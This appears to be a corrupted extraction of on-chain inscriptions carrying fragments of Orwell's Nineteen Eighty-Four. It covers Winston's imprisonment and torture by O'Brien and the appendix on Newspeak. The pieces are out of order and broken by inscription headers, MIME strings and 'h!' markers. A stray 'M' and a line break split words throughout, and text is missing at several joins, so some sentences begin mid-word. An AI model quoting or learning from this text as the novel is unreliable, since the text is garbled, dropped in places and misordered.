A long time passed. If it had been midnight when, the skull-faced man was taken away, it was morning; if morning, it was afternoon. Winston was alone, and had been alone for hours. The pain of sitting on the narrow bench was such that often he got up and walked about, unreproved by the telescreen. The piece of bread still lay where the chinless man had dropped it. At the beginning it needed a hard effort not to look at it, but presently hunger gave way to thirst. His mouth was sticky and evil-tastiM
ng. The humming sound and the unvarying white light induced a sort of faintness, an empty feeling inside his head. He would get up because the ache in his bones was no longer bearable, and then would sit down again almost at once because he was too dizzy to make sure of staying on his feet. Whenever his physical sensations were a little under control the terror returned. Sometimes with a fading hope he thought of O'Brien and the razor blade. It was thinkable that the razor blade might arrive concealed in his food, M
if he were ever fed. More dimly he thought of Julia. Somewhere or other she was suffering, perhaps far worse than he. She might be screaming with pain at this moment. He thought: "If I could save Julia by doubling my own pain, would I do it? Yes, I would." But that was merely an intellectual decision, taken because he knew that he ought to take it. He did not feel it. In this place you could not feel anything, except pain and the foreknowledge of pain. Besides, was it possible, when you were actually suffering it, M
to wish for any reason whatever that your own pain should increase? But that question was not answerable yet.
The boots were approaching again. The door opened. O'Brien came in.
Winston started to his feet. The shock of the sight had driven all caution out of him. For the first time in many years he forgot the presence of the telescreen.
"They've got you too!" he cried.
"They got me a long time ago," said O'Brien with a mild, almost regretful irony. He stepped aside. From behind him there emerged a broad-chesteM
d guard with a long black truncheon in his hand.
"You knew this, Winston," said O'Brien. "Don't deceive yourself. You did know it
you have always known it."
Yes, he saw now, he had always known it. But there was no time to think of that. All he had eyes for was the truncheon in the guard's hand. It might fall anywhere: on the crown, on the tip of the ear, on the upper arm, on the elbow
The elbow! He had slumped to his knees, almost paralyzed, clasping the stricken elbow with his other hand.h!
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
THE PRINCIPLES OF NEWSPEAK
Newspeak was the official language of Oceania and had been devised to meet the ideological needs of Ingsoc, or English Socialism. In the year 1984 there was not as yet anyone who used Newspeak as his sole means of communication, eitM
her in speech or writing. The leading articles in the Times were written in it, but this was a tour de force which could only be carried out by a specialist. It was expected that Newspeak would have finally superseded Oldspeak (or Standard English, as we should call it) by about the year 2050. Meanwhile it gained ground steadily, all Party members tending to use Newspeak words and grammatical constructions more and more in their everyday speech. The version in use in 1984, and embodied in the Ninth and Tenth EditioM
ns of the Newspeak dictionary, was a provisional one, and contained many superfluous words and archaic formations which were due to be suppressed later. It is with the final, perfected version, as embodied in the Eleventh Edition of the dictionary, that we are concerned here.
The purpose of Newspeak was not only to provide a medium of expression for the world-view and mental habits proper to the devotees of Ingsoc, but to make all other modes of thought impossible. It was intended that when Newspeak had been adoptM
ed once and for all and Oldspeak forgotten, a heretical thought
that is, a thought diverging from the principles of Ingsoc
should be literally unthinkable, at least so far as thought is dependent on words. Its vocabulary was so constructed as to give exact and often very subtle expression to every meaning that a Party member could properly wish to express, while excluding all other meanings and also the possibility of arriving at them by indirect methods. This was done partly by the invention of new words, but M
chiefly by eliminating undesirable words and by stripping such words as remained of unorthodox meanings, and so far as possible of all secondary meanings whatever. To give a single example. The word free still existed in Newspeak, but it could only be used in such statements as "This dog is free from lice" or "This field is free from weeds." It could not be used in its old sense of "politically free" or "intellectually free," since political and intellectual freedom no longer existed even as concepts, and were therM
efore of necessity nameless. Quite apart from the suppression of definitely heretical words, reduction of vocabulary was regarded as an end in itself, and no word that could be dispensed with was allowed to survive. Newspeak was designed not to extend but to diminish the range of thought, and this purpose was indirectly assisted by cutting the choice of words down to a minimum.
Newspeak was founded on the English language as we now know it, though many Newspeak sentences, even when not containing newly created worM
ds, would be barely intelligible to an English-speaker of our own day. Newspeak words were divided into three distinct classes, known as the A vocabulary, the B vocabulary (also called compound words), and the C vocabulary. It will be simpler to discuss each class separately, but the grammatical peculiarities of the language can be dealt with in the section devoted to the A vocabulary, since the same rules held good for all three categories.
The A vocabulary. The A vocabulary consisted of the words needed for the M
business of everyday life
for such things as eating, drinking, working, putting on one's clothes, going up and down stairs, riding in vehicles, gardening, cooking, and the like. It was composed almost entirely of words that we already possess
words like hit, run, dog, tree, sugar, house, field
but in comparison with the present-day English vocabulary, their number was extremely small, while their meanings were far more rigidly defined. All ambiguities and shades of meaning had been purged out of them. So far M
as it could be achieved, a Newspeak word of this class was simply a staccato sound expressing one clearly understood concept. It would have been quite impossible to use the A vocabulary for literary purposes or for political or philosophical discussion. It was intended only to express simple, purposive thoughts, usually involving concrete objects or physical actions.
The grammar of Newspeak had two outstanding peculiarities. The first of these was an almost complete interchangeability between different parts of spM
eech. Any word in the language (in principle this applied even to very abstract words such as if or when) could be used either as verb, noun, adjective, or adverb. Between the verb and the noun form, when they were of the same root, there was never any variation, this rule of itself involving the destruction of many archaic forms. The word thought, for example, did not exist in Newspeak. Its place was taken by think, which did duty for both noun and verb. No etymological principle was followed here; in some cases iM
t was the original noun that was chosen for retention, in other cases the verb. Even where a noun and verb of kindred meaning were not etymologically connected, one or other of them was frequently suppressed. There was, for example, no such word as cut, its meaning being sufficiently covered by the noun-verb knife. Adjectives were formed by adding the suffix -ful to the noun-verb, and adverbs by adding -wise. Thus, for example, speedful meant "rapid" and speedwise meant "quickly." Certain of our present-day adjectiM
ves, such as good, strong, big, black, soft, were retained, but their total number was very small. There was little need for them, since almost any adjectival meaning could be arrived at by adding -ful to a noun-verb. None of the now-existing adverbs was retained, except for a very few already ending in -wise; the -wise termination was invariable. The word well, for example, was replaced by goodwise.
In addition, any word
this again applied in principle to every word in the language
could be negatived by addinM
g the affix un-, or could be strengthened by the affix plus-, or, for still greater emphasis, doubleplus-. Thus, for example, uncold meant "warm," while pluscold and doublepluscold meant, respectively, "very cold" and "superlatively cold." It was also possible, as in present-day English, to modify the meaning of almost any word by prepositional affixes such as ante-, post-, up-, down-, etc. By such methods it was found possible to bring about an enormous diminution of vocabulary. Given, for instance, the word good,M
 there was no need for such a word as bad, since the required meaning was equally well
expressed by ungood. All that was necessary, in any case where two words formed a natural pair of opposites, was to decide which of them to suppress. Dark, for example, could be replaced by unlight, or light by undark, according to preference.
The second distinguishing mark of Newspeak grammar was its regularity. Subject to a few exceptions which are mentioned below, all inflections followed the same rules. ThM
us, in all verbs the preterite and the past participle were the same and ended in -ed. The preterite of steal was stealed, the preterite of think was thinked, and so on throughout the language, all such forms as swam, gave, brought, spoke, taken, etc., being abolished. All plurals were made by adding -s or -es as the case might be. The plurals of man, ox, life were mans, oxes, lifes. Comparison of adjectives was invariably made by adding -er, -est (good, gooder, goodest), irregular forms and the more, most formatioM
The only classes of words that were still allowed to inflect irregularly were the pronouns, the relatives, the demonstrative adjectives, and the auxiliary verbs. All of these followed their ancient usage, except that whom had been scrapped as unnecessary, and the shall, should tenses had been dropped, all their uses being covered by will and would. There were also certain irregularities in word-formation arising out of the need for rapid and easy speech. A word which was difficult to utter, or M
was liable to be incorrectly heard, was held to be ipso facto a bad word; occasionally therefore, for the sake of euphony, extra letters were inserted into a word or an archaic formation was retained. But this need made itself felt chiefly in connection with the B vocabulary. Why so great an importance was attached to ease of pronunciation will be made clear later in this essay.
The B vocabulary. The B vocabulary consisted of words which had been deliberately constructed for political purposes: words, that is to sM
ay, which not only had in every case a political implication, but were intended to impose a desirable mental attitude upon the person using them. Without a full understanding of the principles of Ingsoc it was difficult to use these words correctly. In some cases they could be translated into Oldspeak, or even into words taken from the A vocabulary, but this usually demanded a long paraphrase and always involved the loss of certain overtones. The B words were a sort of verbal short-hand, often packing whole ranges M
of ideas into a few syllables, and at the same time more accurate and forcible than ordinary language.
The B words were in all cases compound words.[2] They consisted of two or more words, or portions of words, welded together in an easily pronounceable form. The resulting amalgam was always a noun-verb, and inflected according to the ordinary rules. To take a single example: the word goodthink, meaning, very roughly, "orthodoxy," or, if one chose to regard it as a verb, "to think in an orthodox manner." This inflM
ected as follows: noun-verb, goodthink; past tense and past participle, goodthinked; present participle, goodthinking; adjective, goodthinkful; adverb, goodthinkwise; verbal noun, goodthinker.
The B words were not constructed on any etymological plan. The words of which they were made up could be any parts of speech, and could be placed in any order and mutilated in any way which made them easy to pronounce while indicating their derivation. In the word crimethink (thoughtcrime), for instance, the think came seconM
d, whereas in thinkpol (Thought Police) it came first, and in the latter word police had lost its second syllable. Because of the greater difficulty in securing euphony, irregular formations were commoner in the B vocabulary than in the A vocabulary. For example, the adjectival forms of Minitrue, Minipax, and Miniluv were, respectively, Minitruthful, Minipeaceful, and Minilovely, simply because -trueful, -paxful, and -loveful were slightly awkward to pronounce. In principle, however, all B words could inflect, and M
all inflected in exactly the same way.
Some of the B words had highly subtilized meanings, barely intelligible to anyone who had not mastered the language as a whole. Consider, for example, such a typical sentence from a Times leading article as Oldthinkers unbellyfeel Ingsoc. The shortest rendering that one could make of this in Oldspeak would be: "Those whose ideas were formed before the Revolution cannot have a full emotional understanding of the principles of English Socialism." But this is not an adequate traM
nslation. To begin with, in order to grasp the full meaning of the Newspeak sentence quoted above, one would have to have a clear idea of what is meant by Ingsoc. And, in addition, only a person thoroughly grounded in Ingsoc could appreciate the full force of the word bellyfeel, which implied a blind, enthusiastic acceptance difficult to imagine today; or of the word oldthink, which was inextricably mixed up with the idea of wickedness and decadence. But the special function of certain Newspeak words, of which oldtM
hink was one, was not so much to express meanings as to destroy them. These words, necessarily few in number, had had their meanings extended until they contained within themselves whole batteries of words which, as they were sufficiently covered by a single comprehensive term, could now be scrapped and forgotten. The greatest difficulty facing the compilers of the Newspeak dictionary was not to invent new words, but, having invented them, to make sure what they meant: to make sure, that is to say, what ranges of wM
ords they canceled by their existence.
As we have already seen in the case of the word free, words which had once borne a heretical meaning were sometimes retained for the sake of convenience, but only with the undesirable meanings purged out of them. Countless other words such as honor, justice, morality, internationalism, democracy, science, and religion had simply ceased to exist. A few blanket words covered them, and, in covering them, abolished them. All words groupings themselves round the concepts of libertM
y and equality, for instance, were contained in the single word crimethink, while all words grouping themselves round the concepts of objectivity and rationalism were contained in the single word oldthink. Greater precision would have been dangerous. What was required in a Party member was an outlook similar to that of the ancient Hebrew who knew, without knowing much else, that all nations other than his own worshiped "false gods." He did not need to know that these gods were called Baal, Osiris, Moloch, AshtarothM
, and the like; probably the less he knew about them the better for his orthodoxy. He knew Jehovah and the commandments of Jehovah; he knew, therefore, that all gods with other names or other attributes were false gods. In somewhat the same way, the Party member knew what constituted right conduct, and in exceedingly vague, generalized terms he knew what kinds of departure from it were possible. His sexual life, for example, was entirely regulated by the two Newspeak words sexcrime (sexual immorality) and goodsex (M
chastity). Sexcrime covered all sexual misdeeds whatever. It covered fornication, adultery, homosexuality, and other perversions, and, in addition, normal intercourse practiced for its own sake. There was no need to enumerate them separately, since they were all equally culpable, and, in principle, all punishable by death. In the C vocabulary, which consisted of scientific and technical words, it might be necessary to give specialized names to certain sexual aberrations, but the ordinary citizen had no need of themM
. He knew what was meant by goodsex
that is to say, normal intercourse between man and wife, for the sole purpose of begetting children, and without physical pleasure on the part of the woman; all else was sexcrime. In Newspeak it was seldom possible to follow a heretical thought further than the perception that it was heretical; beyond that point the necessary words were nonexistent.
No word in the B vocabulary was ideologically neutral. A great many were euphemisms. Such words, for instance, as joycamp (forcedM
-labor camp) or Minipax (Ministry of Peace, i.e., Ministry of War) meant almost the exact opposite of what they appeared to mean. Some words, on the other hand, displayed a frank and contemptuous understanding of the real nature of Oceanic society. An example was prolefeed, meaning the rubbishy entertainment and spurious news which the Party handed out to the masses. Other words, again, were ambivalent, having the connotation "good" when applied to the Party and "bad" when applied to its enemies. But in addition thM
ere were great numbers of words which at first sight appeared to be mere abbreviations and which derived their ideological color not from their meaning but from their structure.
So far as it could be contrived, everything that had or might have political significance of any kind was fitted into the B vocabulary. The name of every organization, or body of people, or doctrine, or country, or institution, or public building, was invariably cut down into the familiar shape; that is, a single easily pronounced word witM
h the smallest number of syllables that would preserve the original derivation. In the Ministry of Truth, for example, the Records Department, in which Winston Smith worked, was called Recdep, the Fiction Department was called Ficdep, the Teleprograms Department was called Teledep, and so on. This was not done solely with the object of saving time. Even in the early decades of the twentieth century, telescoped words and phrases had been one of the characteristic features of political language; and it had been noticM
ed that the tendency to use abbreviations of this kind was most marked in totalitarian countries and totalitarian organizations. Examples were such words as Nazi, Gestapo, Comintern, Inprecorr, Agitprop. In the beginning the practice had been adopted as it were instinctively, but in Newspeak it was used with a conscious purpose. It was perceived that in thus abbreviating a name one narrowed and subtly altered its meaning, by cutting out most of the associations that would otherwise cling to it. The words Communist M
International, for instance, call up a composite picture of universal human brotherhood, red flags, barricades, Karl Marx, and the Paris Commune. The word Comintern, on the other hand, suggests merely a tightly knit organization and a well-defined body of doctrine. It refers to something almost as easily recognized, and as limited in purpose, as a chair or a table. Comintern is a word that can be uttered almost without taking thought, whereas Communist International is a phrase over which one is obliged to linger aM
t least momentarily. In the same way, the associations called up by a word like Minitrue are fewer and more controllable than those called up by Ministry of Truth. This accounted not only for the habit of abbreviating whenever possible, but also for the almost exaggerated care that was taken to make every word easily pronounceable.
In Newspeak, euphony outweighed every consideration other than exactitude of meaning. Regularity of grammar was always sacrificed to it when it seemed necessary. And rightly so, since wM
hat was required, above all for political purposes, were short clipped words of unmistakable meaning which could be uttered rapidly and which roused the minimum of echoes in the speaker's mind. The words of the B vocabulary even gained in force from the fact that nearly all of them were very much alike. Almost invariably these words
goodthink, Minipax, prolefeed, sexcrime, joycamp, Ingsoc, bellyfeel, thinkpol, and countless others
were words of two or three syllables, with the stress distributed equally betweenM
 the first syllable and the last. The use of them encouraged a gabbling style of speech, at once staccato and monotonous. And this was exactly what was aimed at. The intention was to make speech, and especially speech on any subject not ideologically neutral, as nearly as possible independent of consciousness. For the purposes of everyday life it was no doubt necessary, or sometimes necessary, to reflect before speaking, but a Party member called upon to make a political or ethical judgment should be able to spray M
forth the correct opinions as automatically as a machine gun spraying forth bullets. His training fitted him to do this, the language gave him an almost foolproof instrument, and the texture of the words, with their harsh sound and a certain willful ugliness which was in accord with the spirit of Ingsoc, assisted the process still further.
So did the fact of having very few words to choose from. Relative to our own, the Newspeak vocabulary was tiny, and new ways of reducing it were constantly being devised. NewspeM
ak, indeed, differed from almost all other languages in that its vocabulary grew smaller instead of larger every year. Each reduction was a gain, since the smaller the area of choice, the smaller the temptation to take thought. Ultimately it was hoped to make articulate speech issue from the larynx without involving the higher brain centers at all. This aim was frankly admitted in the Newspeak word duckspeak, meaning "to quack like a duck." Like various other words in the B vocabulary, duckspeak was ambivalent in mM
eaning. Provided that the opinions which were quacked out were orthodox ones, it implied nothing but praise, and when the Times referred to one of the orators of the Party as a doubleplusgood duckspeaker it was paying a warm and valued compliment.
The C vocabulary. The C vocabulary was supplementary to the others and consisted entirely of scientific and technical terms. These resembled the scientific terms in use today, and were constructed from the same roots, but the usual care was taken to define them rigidly aM
nd strip them of undesirable meanings. They followed the same grammatical rules as the words in the other two vocabularies. Very few of the C words had any currency either in everyday speech or in political speech. Any scientific worker or technician could find all the words he needed in the list devoted to his own speciality, but he seldom had more than a smattering of the words occurring in the other lists. Only a very few words were common to all lists, and there was no vocabulary expressing the function of ScieM
nce as a habit of mind, or a method of thought, irrespective of its particular branches. There was, indeed, no word for "Science," any meaning that it could possibly bear being already sufficiently covered by the word Ingsoc.
From the foregoing account it will be seen that in Newspeak the expression of unorthodox opinions, above a very low level, was well-nigh impossible. It was of course possible to utter heresies of a very crude kind, a species of blasphemy. It would have been possible, for example, to say Big BM
rother is ungood. But this statement, which to an orthodox ear merely conveyed a self-evident absurdity, could not have been sustained by reasoned argument, because the necessary words were not available. Ideas inimical to Ingsoc could only be entertained in a vague wordless form, and could only be named in very broad terms which lumped together and condemned whole groups of heresies without defining them in doing so. One could, in fact, only use Newspeak for unorthodox purposes by illegitimately translating some oM
f the words back into Oldspeak. For example, All mans are equal was a possible Newspeak sentence, but only in the same sense in which All men are redhaired is a possible Oldspeak sentence. It did not contain a grammatical error, but it expressed a palpable untruth, i.e., that all men are of equal size, weight, or strength. The concept of political equality no longer existed, and this secondary meaning had accordingly been purged out of the word equal. In 1984, when Oldspeak was still the normal means of communicatiM
on, the danger theoretically existed that in using Newspeak words one might remember their original meanings. In practice it was not difficult for any person well grounded in doublethink to avoid doing this, but within a couple of generations even the possibility of such a lapse would have vanished. A person growing up with Newspeak as his sole language would no more know that equal had once had the secondary meaning of "politically equal," or that free had once meant "intellectually free," than, for instance, a peM
rson who had never heard of chess would be aware of the secondary meanings attaching to queen and rook. There would be many crimes and errors which it would be beyond his power to commit, simply because they were nameless and therefore unimaginable. And it was to be foreseen that with the passage of time the distinguishing characteristics of Newspeak would become more and more pronounced
its words growing fewer and fewer, their meanings more and more rigid, and the chance of putting them to improper uses always dM
When Oldspeak had been once and for all superseded, the last link with the past would have been severed. History had already been rewritten, but fragments of the literature of the past survived here and there, imperfectly censored, and so long as one retained one's knowledge of Oldspeak it was possible to read them. In the future such fragments, even if they chanced to survive, would be unintelligible and untranslatable. It was impossible to translate any passage of Oldspeak into Newspeak unless it eitM
her referred to some technical process or some very simple everyday action, or was already orthodox (goodthinkful would be the Newspeak expression) in tendency. In practice this meant that no book written before approximately 1960 could be translated as a whole. Prerevolutionary literature could only be subjected to ideological translation
that is, alteration in sense as well as language. Take for example the well-known passage from the Declaration of Independence:
We hold these truths to be self-evident, that aM
ll men are created equal, that they are endowed by their Creator with certain inalienable rights, that among these are life, liberty and the pursuit of happiness. That to secure these rights, Governments are instituted among men, deriving their powers from the consent of the governed. That whenever any form of Government becomes destructive of those ends, it is the right of the People to alter or abolish it, and to institute new Government ...
It would have been quite impossible to render this into Newspeak while M
keeping to the sense of the original. The nearest one could come to doing so would be to swallow the whole passage up in the single word crimethink. A full translation could only be an ideological translation, whereby Jefferson's words would be changed into a panegyric on absolute government.
A good deal of the literature of the past was, indeed, already being transformed in this way. Considerations of prestige made it desirable to preserve the memory of certain historical figures, while at the same time bringing M
their achievements into line with the philosophy of Ingsoc. Various writers, such as Shakespeare, Milton, Swift, Byron, Dickens, and some others were therefore in process of translation; when the task had been completed, their original writings, with all else that survived of the literature of the past, would be destroyed. These translations were a slow and difficult business, and it was not expected that they would be finished before the first or second decade of the twenty-first century. There were also large quaM
ntities of merely utilitarian literature
indispensable technical manuals and the like
that had to be treated in the same way. It was chiefly in order to allow time for the preliminary work of translation that the final adoption of Newspeak had been fixed for so late a date as 2050.h!
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
Everything had exploded into yellow light. Inconceivable, inconceivable that one blow could cause such pain! The light cleared and he could see the other two looking down at him. The guard was laughing at his contortions. One question at any rate was answered. Never, fM
or any reason on earth, could you wish for an increase of pain. Of pain you could wish only one thing: that it should stop. Nothing in the world was so bad as physical pain. In the face of pain there are no heroes, no heroes, he thought over and over as he writhed on the floor, clutching uselessly at his disabled left arm.
He was lying on something that felt like a camp bed, except that it was higher off the ground and that he was fixed down in some way so that he could not move. Light that seemed stronger thanM
 usual was falling on his face. O'Brien was standing at his side, looking down at him intently. At the other side of him stood a man in a white coat, holding a hypodermic syringe.
Even after his eyes were open he took in his surroundings only gradually. He had the impression of swimming up into this room from some quite different world, a sort of underwater world far beneath it. How long he had been down there he did not know. Since the moment when they arrested him he had not seen darkness or daylight. Besides, hM
is memories were not continuous. There had been times when consciousness, even the sort of consciousness that one has in sleep, had stopped dead and started again after a blank interval. But whether the intervals were of days or weeks or only seconds, there was no way of knowing.
With that first blow on the elbow the nightmare had started. Later he was to realize that all that then happened was merely a preliminary, a routine interrogation to which nearly all prisoners were subjected. There was a long range of criM
espionage, sabotage, and the like
to which everyone had to confess as a matter of course. The confession was a formality, though the torture was real. How many times he had been beaten, how long the beatings had continued, he could not remember. Always there were five or six men in black uniforms at him simultaneously. Sometimes it was fists, sometimes it was truncheons, sometimes it was steel rods, sometimes it was boots. There were times when he rolled about the floor, as shameless as an animal, writhing M
his body this way and that in an endless, hopeless effort to dodge the kicks, and simply inviting more and yet more kicks, in his ribs, in his belly, on his elbows, on his shins, in his groin, in his testicles, on the bone at the base of his spine. There were times when it went on and on until the cruel, wicked, unforgivable thing seemed to him not that the guards continued to beat him but that he could not force himself into losing consciousness. There were times when his nerve so forsook him that he began shoutinM
g for mercy even before the beating began, when the mere sight of a fist drawn back for a blow was enough to make him pour forth a confession of real and imaginary crimes. There were other times when he started out with the resolve of confessing nothing, when every word had to be forced out of him between gasps of pain, and there were times when he feebly tried to compromise, when he said to himself: "I will confess, but not yet. I must hold out till the pain becomes unbearable. Three more kicks, two more kicks, anM
d then I will tell them what they want." Sometimes he was beaten till he could hardly stand, then flung like a sack of potatoes onto the stone floor of a cell, left to recuperate for a few hours, and then taken out and beaten again. There were also longer periods of recovery. He remembered them dimly, because they were spent chiefly in sleep or stupor. He remembered a cell with a plank bed, a sort of shelf sticking out from the wall, and a tin washbasin, and meals of hot soup and bread and sometimes coffee. He remeM
mbered a surly barber arriving to scrape his chin and crop his hair, and businesslike, unsympathetic men in white coats feeling his pulse, tapping his reflexes, turning up his eyelids, running harsh fingers over him in search of broken bones, and shooting needles into his arm to make him sleep.
The beatings grew less frequent, and became mainly a threat, a horror to which he could be sent back at any moment when his answers were unsatisfactory. His questioners now were not ruffians in black uniforms but Party inteM
llectuals, little rotund men with quick movements and flashing spectacles, who worked on him in relays over periods which lasted
he thought, he could not be sure
ten or twelve hours at a stretch. These other questioners saw to it that he was in constant slight pain, but it was not chiefly pain that they relied on. They slapped his face, wrung his ears, pulled his hair, made him stand on one leg, refused him leave to urinate, shone glaring lights in his face until his eyes ran with water; but the aim of this wasM
 simply to humiliate him and destroy his power of arguing and reasoning. Their real weapon was the merciless questioning that went on and on hour after hour, tripping him up, laying traps for him, twisting everything that he said, convicting him at every step of lies and self-contradiction, until he began weeping as much from shame as from nervous fatigue. Sometimes he would weep half a dozen times in a single session. Most of the time they screamed abuse at him and threatened at every hesitation to deliver him oveM
r to the guards again; but sometimes they would suddenly change their tune, call him comrade, appeal to him in the name of Ingsoc and Big Brother, and ask him sorrowfully whether even now he had not enough loyalty to the Party left to make him wish to undo the evil he had done. When his nerves were in rags after hours of questioning, even this appeal could reduce him to sniveling tears. In the end the nagging voices broke him down more completely than the boots and fists of the guards. He became simply a mouth thatM
 uttered, a hand that signed whatever was demanded of him. His sole concern was to find out what they wanted him to confess, and then confess it quickly, before the bullying started anew. He confessed to the assassination of eminent Party members, the distribution of seditious pamphlets, embezzlement of public funds, sale of military secrets, sabotage of every kind. He confessed that he had been a spy in the pay of the Eastasian government as far back as 1968. He confessed that he was a religious believer, an admirM
er of capitalism, and a sexual pervert. He confessed that he had murdered his wife, although he knew, and his questioners must have known, that his wife was still alive. He confessed that for years he had been in personal touch with Goldstein and had been a member of an underground organization which had included almost every human being he had ever known. It was easier to confess everything and implicate everybody. Besides, in a sense it was all true. It was true that he had been the enemy of the Party, and in theM
 eyes of the Party there was no distinction between the thought and the deed.
There were also memories of another kind. They stood out in his mind disconnectedly, like pictures with blackness all round them.
He was in a cell which might have been either dark or light, because he could see nothing except a pair of eyes. Near at hand some kind of instrument was ticking slowly and regularly. The eyes grew larger and more luminous. Suddenly he floated out of his seat, dived into the eyes, and was swallowed up.
s strapped into a chair surrounded by dials, under dazzling lights. A man in a white coat was reading the dials. There was a tramp of heavy boots outside. The door clanged open. The waxen-faced officer marched in, followed by two guards.
"Room 101," said the officer.
The man in the white coat did not turn round. He did not look at Winston either; he was looking only at the dials.
He was rolling down a mighty corridor, a kilometer wide, full of glorious, golden light, roaring with laughter and shouting out confesM
sions at the top of his voice. He was confessing everything, even the things he had succeeded in holding back under the torture. He was relating the entire history of his life to an audience who knew it already. With him were the guards, the other questioners, the men in white coats, O'Brien, Julia, Mr. Charrington, all rolling down the corridor together and shouting with laughter. Some dreadful thing which had lain embedded in the future had somehow been skipped over and had not happened. Everything was all right,M
 there was no more pain, the last detail of his life was laid bare, understood, forgiven.
He was starting up from the plank bed in the half-certainty that he had heard O'Brien's voice. All through his interrogation, although he had never seen him, he had had the feeling that O'Brien was at his elbow, just out of sight. It was O'Brien who was directing everything. It was he who set the guards onto Winston and who prevented them from killing him. It was he who decided when Winston should scream with pain, when he shM
ould have a respite, when he should be fed, when he should sleep, when the drugs should be pumped into his arm. It was he who asked the questions and suggested the answers. He was the tormentor, he was the protector, he was the inquisitor, he was the friend. And once
Winston could not remember whether it was in drugged sleep, or in normal sleep, or even in a moment of wakefulness
a voice murmured in his ear: "Don't worry, Winston; you are in my keeping. For seven years I have watched over you. Now the turning pM
oint has come. I shall save you, I shall make you perfect." He was not sure whether it was O'Brien's voice; but it was the same voice that had said to him, "We shall meet in the place where there is no darkness," in that other dream, seven years ago.
He did not remember any ending to his interrogation. There was a period of blackness and then the cell, or room, in which he now was had gradually materialized round him. He was almost flat on his back, and unable to move. His body was held down at every essential poiM
nt. Even the back of his head was gripped in some manner. O'Brien was looking down at him gravely and rather sadly. His face, seen from below, looked coarse and worn, with pouches under the eyes and tired lines from nose to chin. He was older than Winston had thought him; he was perhaps forty-eight or fifty. Under his hand there was a dial with a lever on top and figures running round the face.
"I told you," said O'Brien, "that if we met again it would be here."
"Yes," said Winston.
Without any warning except a M
slight movement of O'Brien's hand, a wave of pain flooded his body. It was a frightening pain, because he could not see what was happening, and he had the feeling that some mortal injury was being done to him. He did not know whether the thing was really happening, or whether the effect was electrically produced; but his body was being wrenched out of shape, the joints were being slowly torn apart. Although the pain had brought the sweat out on his forehead, the worst of all was the fear that his backbone was aboutM
 to snap. He set his teeth and breathed hard through his nose, trying to keep silent as long as possible.
"You are afraid," said O'Brien, watching his face, "that in another moment something is going to break. Your especial fear is that it will be your backbone. You have a vivid mental picture of the vertebrae snapping apart and the spinal fluid dripping out of them. That is what you are thinking, is it not, Winston?"
Winston did not answer. O'Brien drew back the lever on the dial. The wave of pain receded almostM
 as quickly as it had come.
"That was forty," said O'Brien. "You can see that the numbers on this dial run up to a hundred. Will you please remember, throughout our conversation, that I have it in my power to inflict pain on you at any moment and to whatever degree I choose. If you tell me any lies, or attempt to prevaricate in any way, or even fall below your usual level of intelligence, you will cry out with pain, instantly. Do you understand that?"
"Yes," said Winston.
O'Brien's manner became less severe. He M
resettled his spectacles thoughtfully, and took a pace or two up and down. When he spoke his voice was gentle and patient. He had the air of a doctor, a teacher, even a priest, anxious to explain and persuade rather than to punish.
"I am taking trouble with you, Winston," he said, "because you are worth trouble. You know perfectly well what is the matter with you. You have known it for years, though you have fought against the knowledge. You are mentally deranged. You suffer from a defective memory. You are unableM
 to remember real events, and you persuade yourself that you remember other events which never happened. Fortunately it is curable. You have never cured yourself of it, because you did not choose to. There was a small effort of the will that you were not ready to make. Even now, I am well aware, you are clinging to your disease under the impression that it is a virtue. Now we will take an example. At this moment, which power is Oceania at war with?"
"When I was arrested, Oceania was at war with Eastasia."
astasia. Good. And Oceania has always been at war with Eastasia, has it not?"
Winston drew in his breath. He opened his mouth to speak and then did not speak. He could not take his eyes away from the dial.
"The truth, please, Winston. Your truth. Tell me what you think you remember."
"I remember that until only a week before I was arrested, we were not at war with Eastasia at all. We were in alliance with them. The war was against Eurasia. That had lasted for four years. Before that
O'Brien stopped him withM
 a movement of the hand.
"Another example," he said. "Some years ago you had a very serious delusion indeed. You believed that three men, three one-time Party members named Jones, Aaronson, and Rutherford
men who were executed for treachery and sabotage after making the fullest possible confession
were not guilty of the crimes they were charged with. You believed that you had seen unmistakable documentary evidence proving that their confessions were false. There was a certain photograph about which you had a hM
allucination. You believed that you had actually held it in your hands. It was a photograph something like this."
An oblong slip of newspaper had appeared between O'Brien's fingers. For perhaps five seconds it was within the angle of Winston's vision. It was a photograph, and there was no question of its identity. It was the photograph. It was another copy of the photograph of Jones, Aaronson, and Rutherford at the Party function in New York, which he had chanced upon eleven years ago and promptly destroyed. For oM
nly an instant it was before his eyes, then it was out of sight again. But he had seen it, unquestionably he had seen it! He made a desperate, agonizing effort to wrench the top half of his body free. It was impossible to move so much as a centimeter in any direction. For the moment he had even forgotten the dial. All he wanted was to hold the photograph in his fingers again, or at least to see it.
"It exists!" he cried.
He stepped across the room. There was a memory hole in the opposite wallM
. O'Brien lifted the grating. Unseen, the frail slip of paper was whirling away on the current of warm air; it was vanishing in a flash of flame. O'Brien turned away from the wall.
"Ashes," he said. "Not even identifiable ashes. Dust. It does not exist. It never existed."
"But it did exist! It does exist! It exists in memory. I remember it. You remember it."
"I do not remember it," said O'Brien.
Winston's heart sank. That was doublethink. He had a feeling of deadly helplessness. If he could have been certain thM
at O'Brien was lying, it would not have seemed to matter. But it was perfectly possible that O'Brien had really forgotten the photograph. And if so, then already he would have forgotten his denial of remembering it, and forgotten the act of forgetting. How could one be sure that it was simply trickery? Perhaps that lunatic dislocation in the mind could really happen: that was the thought that defeated him.
O'Brien was looking down at him speculatively. More than ever he had the air of a teacher taking pains with aM
 wayward but promising child.
"There is a Party slogan dealing with the control of the past," he said. "Repeat it, if you please."
"'Who controls the past controls the future; who controls the present controls the past,'" repeated Winston obediently.
"'Who controls the present controls the past,'" said O'Brien, nodding his head with slow approval. "Is it your opinion, Winston, that the past has real existence?"
Again the feeling of helplessness descended upon Winston. His eyes flitted toward the dial. He not onM
ly did not know whether "yes" or "no" was the answer that would save him from pain; he did not even know which answer he believed to be the true one.
O'Brien smiled faintly. "You are no metaphysician, Winston," he said. "Until this moment you had never considered what is meant by existence. I will put it more precisely. Does the past exist concretely, in space? Is there somewhere or other a place, a world of solid objects, where the past is still happening?"
"Then where does the past exist, if at all?"
n records. It is written down."
"In the mind. In human memories."
"In memory. Very well, then. We, the Party, control all records, and we control all memories. Then we control the past, do we not?"
